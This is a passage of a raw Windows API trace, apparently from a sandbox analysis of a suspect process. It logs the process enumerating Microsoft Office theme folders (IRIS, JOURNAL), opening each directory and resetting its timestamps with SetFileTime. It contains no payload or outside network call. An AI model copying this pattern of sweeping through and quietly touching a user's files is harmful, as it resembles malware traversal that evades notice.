cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.269] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.269] GetLastError () returned 0x12 [0054.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefbf18) returned 1 [0054.269] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc020) returned 1 [0054.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.269] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0054.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.269] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefe328 [0054.270] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefe328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefe328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe328) returned 1 [0054.270] NtClose (Handle=0x17c) returned 0x0 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.270] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.270] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.270] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9f60 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc658 [0054.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.270] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x300000, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0054.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9f80 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc760 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9fa0 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc868 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9fc0 [0054.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc970 [0054.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.272] GetLastError () returned 0x12 [0054.272] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.272] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x300000, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.272] GetLastError () returned 0x12 [0054.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.272] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0054.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.272] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.328] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefe328 [0054.328] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefe328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefe328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe328) returned 1 [0054.328] NtClose (Handle=0x170) returned 0x0 [0054.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefca78 [0054.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.328] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.328] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcb80 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9fe0 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcc88 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa000 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcd90 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0xefe328 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa020 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefce98 [0054.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa040 [0054.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcfa0 [0054.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, 